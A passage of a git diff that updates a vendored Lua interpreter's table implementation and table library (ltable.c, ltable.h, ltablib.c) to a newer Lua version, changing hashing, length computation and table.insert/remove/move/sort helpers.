/* count extra key */ - nasize += countint(ek, nums); + if (ttisinteger(ek)) + na += countint(ivalue(ek), nums); totaluse++; /* compute new size for array part */ - na = computesizes(nums, &nasize); + asize = computesizes(nums, &na); /* resize the table to new computed sizes */ - luaH_resize(L, t, nasize, totaluse - na); + luaH_resize(L, t, asize, totaluse - na); } @@ -363,29 +624,31 @@ static void rehash(lua_State *L, Table *t, const TValue *ek) { Table *luaH_new(lua_State *L) { - Table *t = &luaC_newobj(L, LUA_TTABLE, sizeof(Table), NULL, 0)->h; + GCObject *o = luaC_newobj(L, LUA_VTABLE, sizeof(Table)); + Table *t = gco2t(o); t->metatable = NULL; - t->flags = cast_byte(~0); + t->flags = cast_byte(maskflags); /* table has no metamethod fields */ t->array = NULL; - t->sizearray = 0; + t->alimit = 0; setnodevector(L, t, 0); return t; } void luaH_free(lua_State *L, Table *t) { - if (!isdummy(t->node)) - luaM_freearray(L, t->node, cast(size_t, sizenode(t))); - luaM_freearray(L, t->array, t->sizearray); + freehash(L, t); + luaM_freearray(L, t->array, luaH_realasize(t)); luaM_free(L, t); } static Node *getfreepos(Table *t) { - while (t->lastfree > t->node) { - t->lastfree--; - if (ttisnil(gkey(t->lastfree))) - return t->lastfree; + if (!isdummy(t)) { + while (t->lastfree > t->node) { + t->lastfree--; + if (keyisnil(t->lastfree)) + return t->lastfree; + } } return NULL; /* could not find a free place */ } @@ -399,59 +662,104 @@ static Node *getfreepos(Table *t) { ** put new key in its main position; otherwise (colliding node is in its main ** position), new key goes to an empty position. */ -TValue *luaH_newkey(lua_State *L, Table *t, const TValue *key) { +static void luaH_newkey(lua_State *L, Table *t, const TValue *key, + TValue *value) { Node *mp; - if (ttisnil(key)) luaG_runerror(L, "table index is nil"); - else if (ttisnumber(key) && luai_numisnan(L, nvalue(key))) - luaG_runerror(L, "table index is NaN"); - mp = mainposition(t, key); - if (!ttisnil(gval(mp)) || isdummy(mp)) { /* main position is taken? */ + TValue aux; + if (l_unlikely(ttisnil(key))) + luaG_runerror(L, "table index is nil"); + else if (ttisfloat(key)) { + lua_Number f = fltvalue(key); + lua_Integer k; + if (luaV_flttointeger(f, &k, F2Ieq)) { /* does key fit in an integer? */ + setivalue(&aux, k); + key = &aux; /* insert it as an integer */ + } else if (l_unlikely(luai_numisnan(f))) + luaG_runerror(L, "table index is NaN"); + } + if (ttisnil(value)) + return; /* do not insert nil values */ + mp = mainpositionTV(t, key); + if (!isempty(gval(mp)) || isdummy(t)) { /* main position is taken? */ Node *othern; - Node *n = getfreepos(t); /* get a free place */ - if (n == NULL) { /* cannot find a free place? */ + Node *f = getfreepos(t); /* get a free place */ + if (f == NULL) { /* cannot find a free place? */ rehash(L, t, key); /* grow table */ - /* whatever called 'newkey' take care of TM cache and GC barrier */ - return luaH_set(L, t, key); /* insert key into grown table */ + /* whatever called 'newkey' takes care of TM cache */ + luaH_set(L, t, key, value); /* insert key into grown table */ + return; } - lua_assert(!isdummy(n)); - othern = mainposition(t, gkey(mp)); + lua_assert(!isdummy(t)); + othern = mainpositionfromnode(t, mp); if (othern != mp) { /* is colliding node out of its main position? */ /* yes; move colliding node into free position */ - while (gnext(othern) != mp) othern = gnext(othern); /* find previous */ - gnext(othern) = n; /* redo the chain with `n' in place of `mp' */ - *n = *mp; /* copy colliding node into free pos. (mp->next also goes) */ - gnext(mp) = NULL; /* now `mp' is free */ - setnilvalue(gval(mp)); + while (othern + gnext(othern) != mp) /* find previous */ + othern += gnext(othern); + gnext(othern) = cast_int(f - othern); /* rechain to point to 'f' */ + *f = *mp; /* copy colliding node into free pos. (mp->next also goes) */ + if (gnext(mp) != 0) { + gnext(f) += cast_int(mp - f); /* correct 'next' */ + gnext(mp) = 0; /* now 'mp' is free */ + } + setempty(gval(mp)); } else { /* colliding node is in its own main position */ /* new node will go into free position */ - gnext(n) = gnext(mp); /* chain new position */ - gnext(mp) = n; - mp = n; + if (gnext(mp) != 0) + gnext(f) = cast_int((mp + gnext(mp)) - f); /* chain new position */ + else lua_assert(gnext(f) == 0); + gnext(mp) = cast_int(f - mp); + mp = f; } } - setobj2t(L, gkey(mp), key); + setnodekey(L, mp, key); luaC_barrierback(L, obj2gco(t), key); - lua_assert(ttisnil(gval(mp))); - return gval(mp); + lua_assert(isempty(gval(mp))); + setobj2t(L, gval(mp), value); } /* -** search function for integers +** Search function for integers. If integer is inside 'alimit', get it +** directly from the array part. Otherwise, if 'alimit' is not +** the real size of the array, the key still can be in the array part. +** In this case, do the "Xmilia trick" to check whether 'key-1' is +** smaller than the real size. +** The trick works as follow: let 'p' be an integer such that +** '2^(p+1) >= alimit > 2^p', or '2^(p+1) > alimit-1 >= 2^p'. +** That is, 2^(p+1) is the real size of the array, and 'p' is the highest +** bit on in 'alimit-1'. What we have to check becomes 'key-1 < 2^(p+1)'. +** We compute '(key-1) & ~(alimit-1)', which we call 'res'; it will +** have the 'p' bit cleared. If the key is outside the array, that is, +** 'key-1 >= 2^(p+1)', then 'res' will have some bit on higher than 'p', +** therefore it will be larger or equal to 'alimit', and the check +** will fail. If 'key-1 < 2^(p+1)', then 'res' has no bit on higher than +** 'p', and as the bit 'p' itself was cleared, 'res' will be smaller +** than 2^p, therefore smaller than 'alimit', and the check succeeds. +** As special cases, when 'alimit' is 0 the condition is trivially false, +** and when 'alimit' is 1 the condition simplifies to 'key-1 < alimit'. +** If key is 0 or negative, 'res' will have its higher bit on, so that +** if cannot be smaller than alimit. */ -const TValue *luaH_getint(Table *t, int key) { - /* (1 <= key && key <= t->sizearray) */ - if (cast(unsigned int, key - 1) < cast(unsigned int, t->sizearray)) +const TValue *luaH_getint(Table *t, lua_Integer key) { + lua_Unsigned alimit = t->alimit; + if (l_castS2U(key) - 1u < alimit) /* 'key' in [1, t->alimit]? */ return &t->array[key - 1]; - else { - lua_Number nk = cast_num(key); - Node *n = hashnum(t, nk); - do { /* check whether `key' is somewhere in the chain */ - if (ttisnumber(gkey(n)) && luai_numeq(nvalue(gkey(n)), nk)) + else if (!isrealasize(t) && /* key still may be in the array part? */ + (((l_castS2U(key) - 1u) & ~(alimit - 1u)) < alimit)) { + t->alimit = cast_uint(key); /* probably '#t' is here now */ + return &t->array[key - 1]; + } else { /* key is not in the array part; check the hash */ + Node *n = hashint(t, key); + for (;;) { /* check whether 'key' is somewhere in the chain */ + if (keyisinteger(n) && keyival(n) == key) return gval(n); /* that's it */ - else n = gnext(n); - } while (n); - return luaO_nilobject; + else { + int nx = gnext(n); + if (nx == 0) break; + n += nx; + } + } + return &absentkey; } } @@ -459,15 +767,30 @@ const TValue *luaH_getint(Table *t, int key) { /* ** search function for short strings */ -const TValue *luaH_getstr(Table *t, TString *key) { +const TValue *luaH_getshortstr(Table *t, TString *key) { Node *n = hashstr(t, key); - lua_assert(key->tsv.tt == LUA_TSHRSTR); - do { /* check whether `key' is somewhere in the chain */ - if (ttisshrstring(gkey(n)) && eqshrstr(rawtsvalue(gkey(n)), key)) + lua_assert(key->tt == LUA_VSHRSTR); + for (;;) { /* check whether 'key' is somewhere in the chain */ + if (keyisshrstr(n) && eqshrstr(keystrval(n), key)) return gval(n); /* that's it */ - else n = gnext(n); - } while (n); - return luaO_nilobject; + else { + int nx = gnext(n); + if (nx == 0) + return &absentkey; /* not found */ + n += nx; + } + } +} + + +const TValue *luaH_getstr(Table *t, TString *key) { + if (key->tt == LUA_VSHRSTR) + return luaH_getshortstr(t, key); + else { /* for long strings, use generic case */ + TValue ko; + setsvalue(cast(lua_State *, NULL), &ko, key); + return getgeneric(t, &ko, 0); + } } @@ -475,76 +798,104 @@ const TValue *luaH_getstr(Table *t, TString *key) { ** main search function */ const TValue *luaH_get(Table *t, const TValue *key) { - switch (ttype(key)) { - case LUA_TSHRSTR: - return luaH_getstr(t, rawtsvalue(key)); - case LUA_TNIL: - return luaO_nilobject; - case LUA_TNUMBER: { - int k; - lua_Number n = nvalue(key); - lua_number2int(k, n); - if (luai_numeq(cast_num(k), n)) /* index is int? */ + switch (ttypetag(key)) { + case LUA_VSHRSTR: + return luaH_getshortstr(t, tsvalue(key)); + case LUA_VNUMINT: + return luaH_getint(t, ivalue(key)); + case LUA_VNIL: + return &absentkey; + case LUA_VNUMFLT: { + lua_Integer k; + if (luaV_flttointeger(fltvalue(key), &k, F2Ieq)) /* integral index? */ return luaH_getint(t, k); /* use specialized version */ - /* else go through */ - } - default: { - Node *n = mainposition(t, key); - do { /* check whether `key' is somewhere in the chain */ - if (luaV_rawequalobj(gkey(n), key)) - return gval(n); /* that's it */ - else n = gnext(n); - } while (n); - return luaO_nilobject; - } + /* else... */ + } /* FALLTHROUGH */ + default: + return getgeneric(t, key, 0); } } +/* +** Finish a raw "set table" operation, where 'slot' is where the value +** should have been (the result of a previous "get table"). +** Beware: when using this function you probably need to check a GC +** barrier and invalidate the TM cache. +*/ +void luaH_finishset(lua_State *L, Table *t, const TValue *key, + const TValue *slot, TValue *value) { + if (isabstkey(slot)) + luaH_newkey(L, t, key, value); + else + setobj2t(L, cast(TValue *, slot), value); +} + + /* ** beware: when using this function you probably need to check a GC ** barrier and invalidate the TM cache. */ -TValue *luaH_set(lua_State *L, Table *t, const TValue *key) { - const TValue *p = luaH_get(t, key); - if (p != luaO_nilobject) - return cast(TValue *, p); - else return luaH_newkey(L, t, key); +void luaH_set(lua_State *L, Table *t, const TValue *key, TValue *value) { + const TValue *slot = luaH_get(t, key); + luaH_finishset(L, t, key, slot, value); } -void luaH_setint(lua_State *L, Table *t, int key, TValue *value) { +void luaH_setint(lua_State *L, Table *t, lua_Integer key, TValue *value) { const TValue *p = luaH_getint(t, key); - TValue *cell; - if (p != luaO_nilobject) - cell = cast(TValue *, p); - else { + if (isabstkey(p)) { TValue k; - setnvalue(&k, cast_num(key)); - cell = luaH_newkey(L, t, &k); - } - setobj2t(L, cell, value); + setivalue(&k, key); + luaH_newkey(L, t, &k, value); + } else + setobj2t(L, cast(TValue *, p), value); } -static int unbound_search(Table *t, unsigned int j) { - unsigned int i = j; /* i is zero or a present index */ - j++; - /* find `i' and `j' such that i is present and j is not */ - while (!ttisnil(luaH_getint(t, j))) { - i = j; - j *= 2; - if (j > cast(unsigned int, MAX_INT)) { /* overflow? */ - /* table was built with bad purposes: resort to linear search */ - i = 1; - while (!ttisnil(luaH_getint(t, i))) i++; - return i - 1; +/* +** Try to find a boundary in the hash part of table 't'. From the +** caller, we know that 'j' is zero or present and that 'j + 1' is +** present. We want to find a larger key that is absent from the +** table, so that we can do a binary search between the two keys to +** find a boundary. We keep doubling 'j' until we get an absent index. +** If the doubling would overflow, we try LUA_MAXINTEGER. If it is +** absent, we are ready for the binary search. ('j', being max integer, +** is larger or equal to 'i', but it cannot be equal because it is +** absent while 'i' is present; so 'j > i'.) Otherwise, 'j' is a +** boundary. ('j + 1' cannot be a present integer key because it is +** not a valid integer in Lua.) +*/ +static lua_Unsigned hash_search(Table *t, lua_Unsigned j) { + lua_Unsigned i; + if (j == 0) j++; /* the caller ensures 'j + 1' is present */ + do { + i = j; /* 'i' is a present index */ + if (j <= l_castS2U(LUA_MAXINTEGER) / 2) + j *= 2; + else { + j = LUA_MAXINTEGER; + if (isempty(luaH_getint(t, j))) /* t[j] not present? */ + break; /* 'j' now is an absent index */ + else /* weird case */ + return j; /* well, max integer is a boundary... */ } + } while (!isempty(luaH_getint(t, j))); /* repeat until an absent t[j] */ + /* i < j && t[i] present && t[j] absent */ + while (j - i > 1u) { /* do a binary search between them */ + lua_Unsigned m = (i + j) / 2; + if (isempty(luaH_getint(t, m))) j = m; + else i = m; } - /* now do a binary search between them */ - while (j - i > 1) { + return i; +} + + +static unsigned int binsearch(const TValue *array, unsigned int i, + unsigned int j) { + while (j - i > 1u) { /* binary search */ unsigned int m = (i + j) / 2; - if (ttisnil(luaH_getint(t, m))) j = m; + if (isempty(&array[m - 1])) j = m; else i = m; } return i; @@ -552,35 +903,91 @@ static int unbound_search(Table *t, unsigned int j) { /* -** Try to find a boundary in table `t'. A `boundary' is an integer index -** such that t[i] is non-nil and t[i+1] is nil (and 0 if t[1] is nil). +** Try to find a boundary in table 't'. (A 'boundary' is an integer index +** such that t[i] is present and t[i+1] is absent, or 0 if t[1] is absent +** and 'maxinteger' if t[maxinteger] is present.) +** (In the next explanation, we use Lua indices, that is, with base 1. +** The code itself uses base 0 when indexing the array part of the table.) +** The code starts with 'limit = t->alimit', a position in the array +** part that may be a boundary. +** +** (1) If 't[limit]' is empty, there must be a boundary before it. +** As a common case (e.g., after 't[#t]=nil'), check whether 'limit-1' +** is present. If so, it is a boundary. Otherwise, do a binary search +** between 0 and limit to find a boundary. In both cases, try to +** use this boundary as the new 'alimit', as a hint for the next call. +** +** (2) If 't[limit]' is not empty and the array has more elements +** after 'limit', try to find a boundary there. Again, try first +** the special case (which should be quite frequent) where 'limit+1' +** is empty, so that 'limit' is a boundary. Otherwise, check the +** last element of the array part. If it is empty, there must be a +** boundary between the old limit (present) and the last element +** (absent), which is found with a binary search. (This boundary always +** can be a new limit.) +** +** (3) The last case is when there are no elements in the array part +** (limit == 0) or its last element (the new limit) is present. +** In this case, must check the hash part. If there is no hash part +** or 'limit+1' is absent, 'limit' is a boundary. Otherwise, call +** 'hash_search' to find a boundary in the hash part of the table. +** (In those cases, the boundary is not inside the array part, and +** therefore cannot be used as a new limit.) */ -int luaH_getn(Table *t) { - unsigned int j = t->sizearray; - if (j > 0 && ttisnil(&t->array[j - 1])) { - /* there is a boundary in the array part: (binary) search for it */ - unsigned int i = 0; - while (j - i > 1) { - unsigned int m = (i + j) / 2; - if (ttisnil(&t->array[m - 1])) j = m; - else i = m; +lua_Unsigned luaH_getn(Table *t) { + unsigned int limit = t->alimit; + if (limit > 0 && isempty(&t->array[limit - 1])) { /* (1)? */ + /* there must be a boundary before 'limit' */ + if (limit >= 2 && !isempty(&t->array[limit - 2])) { + /* 'limit - 1' is a boundary; can it be a new limit? */ + if (ispow2realasize(t) && !ispow2(limit - 1)) { + t->alimit = limit - 1; + setnorealasize(t); /* now 'alimit' is not the real size */ + } + return limit - 1; + } else { /* must search for a boundary in [0, limit] */ + unsigned int boundary = binsearch(t->array, 0, limit); + /* can this boundary represent the real size of the array? */ + if (ispow2realasize(t) && boundary > luaH_realasize(t) / 2) { + t->alimit = boundary; /* use it as the new limit */ + setnorealasize(t); + } + return boundary; } - return i; } - /* else must find a boundary in hash part */ - else if (isdummy(t->node)) /* hash part is empty? */ - return j; /* that is easy... */ - else return unbound_search(t, j); + /* 'limit' is zero or present in table */ + if (!limitequalsasize(t)) { /* (2)? */ + /* 'limit' > 0 and array has more elements after 'limit' */ + if (isempty(&t->array[limit])) /* 'limit + 1' is empty? */ + return limit; /* this is the boundary */ + /* else, try last element in the array */ + limit = luaH_realasize(t); + if (isempty(&t->array[limit - 1])) { /* empty? */ + /* there must be a boundary in the array after old limit, + and it must be a valid new limit */ + unsigned int boundary = binsearch(t->array, t->alimit, limit); + t->alimit = boundary; + return boundary; + } + /* else, new limit is present in the table; check the hash part */ + } + /* (3) 'limit' is the last element and either is zero or present in table */ + lua_assert(limit == luaH_realasize(t) && + (limit == 0 || !isempty(&t->array[limit - 1]))); + if (isdummy(t) || isempty(luaH_getint(t, cast(lua_Integer, limit + 1)))) + return limit; /* 'limit + 1' is absent */ + else /* 'limit + 1' is also present */ + return hash_search(t, limit); } #if defined(LUA_DEBUG) +/* export these functions for the test library */ + Node *luaH_mainposition(const Table *t, const TValue *key) { - return mainposition(t, key); + return mainpositionTV(t, key); } -int luaH_isdummy(Node *n) { return isdummy(n); } - #endif diff --git a/client/deps/liblua/ltable.h b/client/deps/liblua/ltable.h index 778cd8397..72a48806f 100644 --- a/client/deps/liblua/ltable.h +++ b/client/deps/liblua/ltable.h @@ -1,5 +1,5 @@ /* -** $Id: ltable.h,v 2.16 2011/08/17 20:26:47 roberto Exp $ +** $Id: ltable.h $ ** Lua tables (hash) ** See Copyright Notice in lua.h */ @@ -10,35 +10,53 @@ #include "lobject.h" -#define gnode(t,i) (&(t)->node[i]) -#define gkey(n) (&(n)->i_key.tvk) -#define gval(n) (&(n)->i_val) -#define gnext(n) ((n)->i_key.nk.next) - -#define invalidateTMcache(t) ((t)->flags = 0) - -/* returns the key, given the value of a table entry */ -#define keyfromval(v) \ - (gkey(cast(Node *, cast(char *, (v)) - offsetof(Node, i_val)))) +#define gnode(t,i) (&(t)->node[i]) +#define gval(n) (&(n)->i_val) +#define gnext(n) ((n)->u.next) -LUAI_FUNC const TValue *luaH_getint(Table *t, int key); -LUAI_FUNC void luaH_setint(lua_State *L, Table *t, int key, TValue *value); +/* +** Clear all bits of fast-access metamethods, which means that the table +** may have any of these metamethods. (First access that fails after the +** clearing will set the bit again.) +*/ +#define invalidateTMcache(t) ((t)->flags &= ~maskflags) + + +/* true when 't' is using 'dummynode' as its hash part */ +#define isdummy(t) ((t)->lastfree == NULL) + + +/* allocated size for hash nodes */ +#define allocsizenode(t) (isdummy(t) ? 0 : sizenode(t)) + + +/* returns the Node, given the value of a table entry */ +#define nodefromval(v) cast(Node *, (v)) + + +LUAI_FUNC const TValue *luaH_getint(Table *t, lua_Integer key); +LUAI_FUNC void luaH_setint(lua_State *L, Table *t, lua_Integer key, + TValue *value); +LUAI_FUNC const TValue *luaH_getshortstr(Table *t, TString *key); LUAI_FUNC const TValue *luaH_getstr(Table *t, TString *key); LUAI_FUNC const TValue *luaH_get(Table *t, const TValue *key); -LUAI_FUNC TValue *luaH_newkey(lua_State *L, Table *t, const TValue *key); -LUAI_FUNC TValue *luaH_set(lua_State *L, Table *t, const TValue *key); +LUAI_FUNC void luaH_set(lua_State *L, Table *t, const TValue *key, + TValue *value); +LUAI_FUNC void luaH_finishset(lua_State *L, Table *t, const TValue *key, + const TValue *slot, TValue *value); LUAI_FUNC Table *luaH_new(lua_State *L); -LUAI_FUNC void luaH_resize(lua_State *L, Table *t, int nasize, int nhsize); -LUAI_FUNC void luaH_resizearray(lua_State *L, Table *t, int nasize); +LUAI_FUNC void luaH_resize(lua_State *L, Table *t, unsigned int nasize, + unsigned int nhsize); +LUAI_FUNC void luaH_resizearray(lua_State *L, Table *t, unsigned int nasize); LUAI_FUNC void luaH_free(lua_State *L, Table *t); LUAI_FUNC int luaH_next(lua_State *L, Table *t, StkId key); -LUAI_FUNC int luaH_getn(Table *t); +LUAI_FUNC lua_Unsigned luaH_getn(Table *t); +LUAI_FUNC unsigned int luaH_realasize(const Table *t); #if defined(LUA_DEBUG) LUAI_FUNC Node *luaH_mainposition(const Table *t, const TValue *key); -LUAI_FUNC int luaH_isdummy(Node *n); #endif diff --git a/client/deps/liblua/ltablib.c b/client/deps/liblua/ltablib.c index 9d9be1077..86c832263 100644 --- a/client/deps/liblua/ltablib.c +++ b/client/deps/liblua/ltablib.c @@ -1,103 +1,163 @@ /* -** $Id: ltablib.c,v 1.65 2013/03/07 18:17:24 roberto Exp $ +** $Id: ltablib.c $ ** Library for Table Manipulation ** See Copyright Notice in lua.h */ -#include -#include - #define ltablib_c #define LUA_LIB +#include "lprefix.h" + + +#include +#include +#include + #include "lua.h" #include "lauxlib.h" #include "lualib.h" -#define aux_getn(L,n) (luaL_checktype(L, n, LUA_TTABLE), luaL_len(L, n)) +/* +** Operations that an object must define to mimic a table +** (some functions only need some of them) +*/ +#define TAB_R 1 /* read */ +#define TAB_W 2 /* write */ +#define TAB_L 4 /* length */ +#define TAB_RW (TAB_R | TAB_W) /* read/write */ +#define aux_getn(L,n,w) (checktab(L, n, (w) | TAB_L), luaL_len(L, n)) -#if defined(LUA_COMPAT_MAXN) -static int maxn(lua_State *L) { - lua_Number max = 0; - luaL_checktype(L, 1, LUA_TTABLE); - lua_pushnil(L); /* first key */ - while (lua_next(L, 1)) { - lua_pop(L, 1); /* remove value */ - if (lua_type(L, -1) == LUA_TNUMBER) { - lua_Number v = lua_tonumber(L, -1); - if (v > max) max = v; - } - } - lua_pushnumber(L, max); - return 1; + +static int checkfield(lua_State *L, const char *key, int n) { + lua_pushstring(L, key); + return (lua_rawget(L, -n) != LUA_TNIL); +} + + +/* +** Check that 'arg' either is a table or can behave like one (that is, +** has a metatable with the required metamethods) +*/ +static void checktab(lua_State *L, int arg, int what) { + if (lua_type(L, arg) != LUA_TTABLE) { /* is it not a table? */ + int n = 1; /* number of elements to pop */ + if (lua_getmetatable(L, arg) && /* must have metatable */ + (!(what & TAB_R) || checkfield(L, "__index", ++n)) && + (!(what & TAB_W) || checkfield(L, "__newindex", ++n)) && + (!(what & TAB_L) || checkfield(L, "__len", ++n))) { + lua_pop(L, n); /* pop metatable and tested metamethods */ + } else + luaL_checktype(L, arg, LUA_TTABLE); /* force an error */ + } } -#endif static int tinsert(lua_State *L) { - int e = aux_getn(L, 1) + 1; /* first empty element */ - int pos; /* where to insert new element */ + lua_Integer pos; /* where to insert new element */ + lua_Integer e = aux_getn(L, 1, TAB_RW); + e = luaL_intop(+, e, 1); /* first empty element */ switch (lua_gettop(L)) { case 2: { /* called with only 2 arguments */ pos = e; /* insert new element at the end */ break; } case 3: { - int i; - pos = luaL_checkint(L, 2); /* 2nd argument is the position */ - luaL_argcheck(L, 1 <= pos && pos <= e, 2, "position out of bounds"); + lua_Integer i; + pos = luaL_checkinteger(L, 2); /* 2nd argument is the position */ + /* check whether 'pos' is in [1, e] */ + luaL_argcheck(L, (lua_Unsigned)pos - 1u < (lua_Unsigned)e, 2, + "position out of bounds"); for (i = e; i > pos; i--) { /* move up elements */ - lua_rawgeti(L, 1, i - 1); - lua_rawseti(L, 1, i); /* t[i] = t[i-1] */ + lua_geti(L, 1, i - 1); + lua_seti(L, 1, i); /* t[i] = t[i - 1] */ } break; } default: { - return luaL_error(L, "wrong number of arguments to " LUA_QL("insert")); + return luaL_error(L, "wrong number of arguments to 'insert'"); } } - lua_rawseti(L, 1, pos); /* t[pos] = v */ + lua_seti(L, 1, pos); /* t[pos] = v */ return 0; } static int tremove(lua_State *L) { - int size = aux_getn(L, 1); - int pos = luaL_optint(L, 2, size); + lua_Integer size = aux_getn(L, 1, TAB_RW); + lua_Integer pos = luaL_optinteger(L, 2, size); if (pos != size) /* validate 'pos' if given */ - luaL_argcheck(L, 1 <= pos && pos <= size + 1, 1, "position out of bounds"); - lua_rawgeti(L, 1, pos); /* result = t[pos] */ + /* check whether 'pos' is in [1, size + 1] */ + luaL_argcheck(L, (lua_Unsigned)pos - 1u <= (lua_Unsigned)size, 2, + "position out of bounds"); + lua_geti(L, 1, pos); /* result = t[pos] */ for (; pos < size; pos++) { - lua_rawgeti(L, 1, pos + 1); - lua_rawseti(L, 1, pos); /* t[pos] = t[pos+1] */ + lua_geti(L, 1, pos + 1); + lua_seti(L, 1, pos); /* t[pos] = t[pos + 1] */ } lua_pushnil(L); - lua_rawseti(L, 1, pos); /* t[pos] = nil */ + lua_seti(L, 1, pos); /* remove entry t[pos] */ return 1; } -static void addfield(lua_State *L, luaL_Buffer *b, int i) { - lua_rawgeti(L, 1, i); - if (!lua_isstring(L, -1)) - luaL_error(L, "invalid value (%s) at index %d in table for " - LUA_QL("concat"), luaL_typename(L, -1), i); +/* +** Copy elements (1[f], ..., 1[e]) into (tt[t], tt[t+1], ...). Whenever +** possible, copy in increasing order, which is better for rehashing. +** "possible" means destination after original range, or smaller +** than origin, or copying to another table. +*/ +static int tmove(lua_State *L) { + lua_Integer f = luaL_checkinteger(L, 2); + lua_Integer e = luaL_checkinteger(L, 3); + lua_Integer t = luaL_checkinteger(L, 4); + int tt = !lua_isnoneornil(L, 5) ? 5 : 1; /* destination table */ + checktab(L, 1, TAB_R); + checktab(L, tt, TAB_W); + if (e >= f) { /* otherwise, nothing to move */ + lua_Integer n, i; + luaL_argcheck(L, f > 0 || e < LUA_MAXINTEGER + f, 3, + "too many elements to move"); + n = e - f + 1; /* number of elements to move */ + luaL_argcheck(L, t <= LUA_MAXINTEGER - n + 1, 4, + "destination wrap around"); + if (t > e || t <= f || (tt != 1 && !lua_compare(L, 1, tt, LUA_OPEQ))) { + for (i = 0; i < n; i++) { + lua_geti(L, 1, f + i); + lua_seti(L, tt, t + i); + } + } else { + for (i = n - 1; i >= 0; i--) { + lua_geti(L, 1, f + i); + lua_seti(L, tt, t + i); + } + } + } + lua_pushvalue(L, tt); /* return destination table */ + return 1; +} + + +static void addfield(lua_State *L, luaL_Buffer *b, lua_Integer i) { + lua_geti(L, 1, i); + if (l_unlikely(!lua_isstring(L, -1))) + luaL_error(L, "invalid value (%s) at index %I in table for 'concat'", + luaL_typename(L, -1), (LUAI_UACINT)i); luaL_addvalue(b); } static int tconcat(lua_State *L) { luaL_Buffer b; + lua_Integer last = aux_getn(L, 1, TAB_R); size_t lsep; - int i, last; const char *sep = luaL_optlstring(L, 2, "", &lsep); - luaL_checktype(L, 1, LUA_TTABLE); - i = luaL_optint(L, 3, 1); - last = luaL_opt(L, luaL_checkint, 4, luaL_len(L, 1)); + lua_Integer i = luaL_optinteger(L, 3, 1); + last = luaL_optinteger(L, 4, last); luaL_buffinit(L, &b); for (; i < last; i++) { addfield(L, &b, i); @@ -116,40 +176,33 @@ static int tconcat(lua_State *L) { ** ======================================================= */ -static int pack(lua_State *L) { +static int tpack(lua_State *L) { + int i; int n = lua_gettop(L); /* number of elements to pack */ lua_createtable(L, n, 1); /* create result table */ + lua_insert(L, 1); /* put it at index 1 */ + for (i = n; i >= 1; i--) /* assign elements */ + lua_seti(L, 1, i); lua_pushinteger(L, n); - lua_setfield(L, -2, "n"); /* t.n = number of elements */ - if (n > 0) { /* at least one element? */ - int i; - lua_pushvalue(L, 1); - lua_rawseti(L, -2, 1); /* insert first element */ - lua_replace(L, 1); /* move table into index 1 */ - for (i = n; i >= 2; i--) /* assign other elements */ - lua_rawseti(L, 1, i); - } + lua_setfield(L, 1, "n"); /* t.n = number of elements */ return 1; /* return table */ } -static int unpack(lua_State *L) { - int i, e; - unsigned int n; - luaL_checktype(L, 1, LUA_TTABLE); - i = luaL_optint(L, 2, 1); - e = luaL_opt(L, luaL_checkint, 3, luaL_len(L, 1)); +static int tunpack(lua_State *L) { + lua_Unsigned n; + lua_Integer i = luaL_optinteger(L, 2, 1); + lua_Integer e = luaL_opt(L, luaL_checkinteger, 3, luaL_len(L, 1)); if (i > e) return 0; /* empty range */ - - n = (unsigned int)e - (unsigned int)i; /* number of elements minus 1 */ - - if (n > (INT_MAX - 10) || !lua_checkstack(L, ++n)) + n = (lua_Unsigned)e - i; /* number of elements minus 1 (avoid overflows) */ + if (l_unlikely(n >= (unsigned int)INT_MAX || + !lua_checkstack(L, (int)(++n)))) return luaL_error(L, "too many results to unpack"); - - lua_rawgeti(L, 1, i); /* push arg[i] (avoiding overflow problems) */ - while (i++ < e) /* push arg[i + 1...e] */ - lua_rawgeti(L, 1, i); - return n; + for (; i < e; i++) { /* push arg[i..e - 1] (to avoid overflows) */ + lua_geti(L, 1, i); + } + lua_geti(L, 1, e); /* push last element */ + return (int)n; } /* }====================================================== */ @@ -159,105 +212,196 @@ static int unpack(lua_State *L) { /* ** {====================================================== ** Quicksort -** (based on `Algorithms in MODULA-3', Robert Sedgewick; +** (based on 'Algorithms in MODULA-3', Robert Sedgewick; ** Addison-Wesley, 1993.) ** ======================================================= */ -static void set2(lua_State *L, int i, int j) { - lua_rawseti(L, 1, i); - lua_rawseti(L, 1, j); +/* type for array indices */ +typedef unsigned int IdxT; + + +/* +** Produce a "random" 'unsigned int' to randomize pivot choice. This +** macro is used only when 'sort' detects a big imbalance in the result +** of a partition. (If you don't want/need this "randomness", ~0 is a +** good choice.) +*/ +#if !defined(l_randomizePivot) /* { */ + +#include + +/* size of 'e' measured in number of 'unsigned int's */ +#define sof(e) (sizeof(e) / sizeof(unsigned int)) + +/* +** Use 'time' and 'clock' as sources of "randomness". Because we don't +** know the types 'clock_t' and 'time_t', we cannot cast them to +** anything without risking overflows. A safe way to use their values +** is to copy them to an array of a known type and use the array values. +*/ +static unsigned int l_randomizePivot(void) { + clock_t c = clock(); + time_t t = time(NULL); + unsigned int buff[sof(c) + sof(t)]; + unsigned int i, rnd = 0; + memcpy(buff, &c, sof(c) * sizeof(unsigned int)); + memcpy(buff + sof(c), &t, sof(t) * sizeof(unsigned int)); + for (i = 0; i < sof(buff); i++) + rnd += buff[i]; + return rnd; } +#endif /* } */ + + +/* arrays larger than 'RANLIMIT' may use randomized pivots */ +#define RANLIMIT 100u + + +static void set2(lua_State *L, IdxT i, IdxT j) { + lua_seti(L, 1, i); + lua_seti(L, 1, j); +} + + +/* +** Return true iff value at stack index 'a' is less than the value at +** index 'b' (according to the order of the sort). +*/ static int sort_comp(lua_State *L, int a, int b) { - if (!lua_isnil(L, 2)) { /* function? */ + if (lua_isnil(L, 2)) /* no function? */ + return lua_compare(L, a, b, LUA_OPLT); /* a < b */ + else { /* function */ int res; - lua_pushvalue(L, 2); + lua_pushvalue(L, 2); /* push function */ lua_pushvalue(L, a - 1); /* -1 to compensate function */ - lua_pushvalue(L, b - 2); /* -2 to compensate function and `a' */ - lua_call(L, 2, 1); - res = lua_toboolean(L, -1); - lua_pop(L, 1); + lua_pushvalue(L, b - 2); /* -2 to compensate function and 'a' */ + lua_call(L, 2, 1); /* call function */ + res = lua_toboolean(L, -1); /* get result */ + lua_pop(L, 1); /* pop result */ return res; - } else /* a < b? */ - return lua_compare(L, a, b, LUA_OPLT); + } } -static void auxsort(lua_State *L, int l, int u) { - while (l < u) { /* for tail recursion */ - int i, j; - /* sort elements a[l], a[(l+u)/2] and a[u] */ - lua_rawgeti(L, 1, l); - lua_rawgeti(L, 1, u); - if (sort_comp(L, -1, -2)) /* a[u] < a[l]? */ - set2(L, l, u); /* swap a[l] - a[u] */ + +/* +** Does the partition: Pivot P is at the top of the stack. +** precondition: 